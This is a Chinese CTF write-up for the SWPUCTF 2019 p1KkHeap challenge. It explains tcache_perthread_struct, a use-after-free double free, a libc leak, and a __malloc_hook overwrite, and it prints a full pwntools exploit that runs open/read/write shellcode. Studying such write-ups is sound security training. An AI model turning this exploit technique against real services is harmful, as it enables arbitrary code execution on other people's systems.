SWPUCTF_2019_p1KkHeap

注意
本文最后更新于 2021-03-28,文中内容可能已过时。

总结

根据本题,学习与收获有:

  • tcache attack时 如果可以利用tcache_perthread_struct,优先考虑利用这个结构体,可以省去很多麻烦。控制了这个结构体,相当于就控制了malloc的分配,可以控制tcache binschunk的数量和分配地址。
  • tcache_perthread_struct结构体在堆上,大小一般为0x250。它的前64个字节,分别代表0x20~0x410大小的chunk(包括chunk头)的数量。当超过7的时候,再次释放的chunk会被放入到fastbin或者unsorted bin。后面的内存,则分别表示0x20~0x410大小tcache bins的首地址。

如图所示:

https://image.roderickchan.cn/img/20210314224314.png

然后看一下内部细节:

https://image.roderickchan.cn/img/20210314224902.png

首地址如果是一个有效的地址,下一次分配对应大小的chunk会直接从该地址处分配,没有chunk size的检查。

  • tcache attack可以重复释放,可以直接修改tcache entry的值,没有chunk size的检查。

题目分析

checksec

https://image.roderickchan.cn/img/20210314225216.png

保护全开!

函数分析

很明显,又是一个菜单题。首先来看main函数。

main

https://image.roderickchan.cn/img/20210314232327.png

这些函数的名字我都修改过。然后看一下这个set_prctl到底干了啥:

set_prctl

https://image.roderickchan.cn/img/20210314232502.png

同时,结合seccomp-tools查看一下禁用了哪些系统调用:

https://image.roderickchan.cn/img/image-20210314232629126.png

不能执行execve系统调用。那么结合前面的mmap,猜测可以控制程序执行流到0x66660000处,提前在这里写好shellcode,通过orw的方式读取flag

继续往下分析函数。

https://image.roderickchan.cn/img/20210314232906.png

add_note

https://image.roderickchan.cn/img/20210314233450.png

size的大小只能控制在0x100以内,最多执行该函数7次。

show_note

https://image.roderickchan.cn/img/20210314233559.png

edit_note

https://image.roderickchan.cn/img/20210314233649.png

del_note

https://image.roderickchan.cn/img/20210314233739.png

可以看到,只能free三次,且存储内存指针的数组没有置为空。

漏洞点

  • 程序的运行环境为ubuntu 18.04libc的版本为2.27,有tcache bin机制。可以很明显的看到,在del_note函数中有一个UAF的漏洞。但是,最多只能free3次。结合tcache dup的利用手段,tcache bin连续两次释放,并不会crash,而会造成这个链表自己指向自己。这样,连续分配三次后,可以在任意地址分配chunk
  • mmap分配的内存具有可读可写可执行的权限,所以可以往这上面写shellcode,然后劫持malloc_hook到地址0x66660000,跳转执行shellcode。注意,不能包含execve的系统调用,所以只能写orw的shellcode。

利用思路

知识点

  • 如上面所说,每一个线程都会维护一个结构体,名为tcache_perthread_struct,这个结构体负责tcache in chunk的分配。所以,只要控制住这个结构体,就能实现控制任意大小的tcache bin chunk的任意地址的分配。
  • tcache bins放满7个后,剩余free掉的chunk会被放到fastbin或者unsorted bin。这里判断对应带大小的tcache bins的方法,就是检查tcache_perthread_struct中的字段的大小是不是大于6。
  • calloc不会从tcache bin中取chunk,但是如果对应大小的tcache bin未满7个的话,会把对应大小的fastbin或者small bin以头插法的形式,插入到tcache bin中。也就是说,如果修改了fd/bk指针,可以往任意一个地方写一个libc地址。(这个知识点可能用不到,不过可以先总结一下。)

利用过程

这里采取劫持tcache_perthread_struct,然后通过控制对应大小的tcache bin的数量,使得下一次释放的chunk被放置在unsorted bin中。,从而泄露出libc的地址,根据偏移计算出malloc_hook的地址。

步骤:

  • 连续申请两块大小为0x100大小的chunk 0chunk 1
  • 连续释放两次chunk 1
  • 通过show功能打印出堆地址,进而泄露出tcache_perthread_struct的地址,并分配到这里
  • 修改0x100大小的tcache bin的首地址为0x66660000和个数为0
  • 分配到0x66660000处,写入shellcode
  • 释放chunk 0,此时chunk 0会进入到unsorted bin,利用show功能打印出libc地址
  • 再次控制tcache_perthread_struct,分配到malloc_hook处,写入0x66660000
  • 任意执行一次add_note即可打印出flag

EXP

调试过程

我们就按照上面所说的这个利用思路来进行调试。

定义好相关的函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def add_note(size:int):
    global io
    io.sendlineafter("Your Choice: ", '1')
    io.sendlineafter("size: ", str(size))
    io.recvuntil("Done!\n")

def show_note(idx:int):
    global io
    io.sendlineafter("Your Choice: ", '2')
    io.sendlineafter("id: ", str(idx))
    msg = io.recvline()
    leak_addr = msg[9:15]
    leak_addr = u64(leak_addr.ljust(8, b'\x00'))
    LOG_ADDR('leak_addr', leak_addr)
    io.recvuntil("Done!\n")
    return leak_addr

def edit_note(idx:int, content:bytes=b'a'):
    global io
    io.sendlineafter("Your Choice: ", '3')
    io.sendlineafter("id: ", str(idx))
    io.sendafter("content: ", content)
    io.recvuntil("Done!\n")

def del_note(idx:int):
    global io
    io.sendlineafter("Your Choice: ", '4')
    io.sendlineafter("id: ", str(idx))
    io.recvuntil("Done!\n")

首先执行两次add_note

1
2
add_note(0x100) # 0
add_note(0x100) # 1

https://image.roderickchan.cn/img/20210319235345.png

然后,执行tcache dup

1
2
del_note(1)
del_note(1)

https://image.roderickchan.cn/img/20210319235505.png

然后泄露出地址,并分配到tcache_perthread_struct

1
2
3
4
5
6
7
8
# get heap addr
heap_addr = show_note(1)
tcache_struct = heap_addr - 0x360
add_note(0x100) # 2
edit_note(2, p64(tcache_struct) * 2)

add_note(0x100) # 3
add_note(0x100) # 4 tcache struct 

https://image.roderickchan.cn/img/20210319235634.png

可以看到,0x100大小的chunkcount变成了-1

分配到0x66660000

1
2
3
edit_note(4, 0xb8 * b'\x00' + p64(0x66660000))
# 0x66660000 chunk
add_note(0x100) # 5

https://image.roderickchan.cn/img/20210319235816.png

写入shellcode0x66660000

1
2
3
4
shellcode = shellcraft.open('flag', 0)
shellcode += shellcraft.read(3, 0x66660300, 0x30)
shellcode += shellcraft.write(1, 0x66660300, 0x30)
edit_note(5, asm(shellcode))

https://image.roderickchan.cn/img/20210319235924.png

泄露libc地址,并且计算出malloc_hook地址

1
2
3
del_note(0)
main_arena_96 = show_note(0)
malloc_hook = main_arena_96 - 0x70

https://image.roderickchan.cn/img/20210320000120.png

分配到malloc_hook,写入0x66660000,并执行一次add_note

1
2
3
4
5
add_note(0x100) # 6
edit_note(6, p64(0x66660000))

io.sendlineafter("Your Choice: ", '1')
io.sendlineafter("size: ", str(100))

https://image.roderickchan.cn/img/20210320000232.png

最后远程打的结果:

https://image.roderickchan.cn/img/20210320000519.png

完整exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
context.update(arch='amd64', os='linux', endian='little')
io = process('./pwn')

def add_note(size:int):
    global io
    io.sendlineafter("Your Choice: ", '1')
    io.sendlineafter("size: ", str(size))
    io.recvuntil("Done!\n")

def show_note(idx:int):
    global io
    io.sendlineafter("Your Choice: ", '2')
    io.sendlineafter("id: ", str(idx))
    msg = io.recvline()
    leak_addr = msg[9:15]
    leak_addr = u64(leak_addr.ljust(8, b'\x00'))
    LOG_ADDR('leak_addr', leak_addr)
    io.recvuntil("Done!\n")
    return leak_addr

def edit_note(idx:int, content:bytes=b'a'):
    global io
    io.sendlineafter("Your Choice: ", '3')
    io.sendlineafter("id: ", str(idx))
    io.sendafter("content: ", content)
    io.recvuntil("Done!\n")

def del_note(idx:int):
    global io
    io.sendlineafter("Your Choice: ", '4')
    io.sendlineafter("id: ", str(idx))
    io.recvuntil("Done!\n")


# tcache bin dup
add_note(0x100) # 0
add_note(0x100) # 1
del_note(1)
del_note(1)

# get heap addr
heap_addr = show_note(1)
tcache_struct = heap_addr - 0x360
add_note(0x100) # 2
edit_note(2, p64(tcache_struct) * 2)

add_note(0x100) # 3
add_note(0x100) # 4 tcache struct 
LOG_ADDR('tcache_struct', tcache_struct)

edit_note(4, 0xb8 * b'\x00' + p64(0x66660000))

# 0x66660000 chunk
add_note(0x100) # 5

shellcode = shellcraft.open('flag', 0)
shellcode += shellcraft.read(3, 0x66660300, 0x30)
shellcode += shellcraft.write(1, 0x66660300, 0x30)
edit_note(5, asm(shellcode))

# leak libc_addr
del_note(0)
main_arena_96 = show_note(0)
malloc_hook = main_arena_96 - 0x70
LOG_ADDR('malloc_hook', malloc_hook)
edit_note(4, 0xb8 * b'\x00' + p64(malloc_hook))

add_note(0x100) # 6
edit_note(6, p64(0x66660000))

io.sendlineafter("Your Choice: ", '1')
io.sendlineafter("size: ", str(100))

io.interactive()
Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%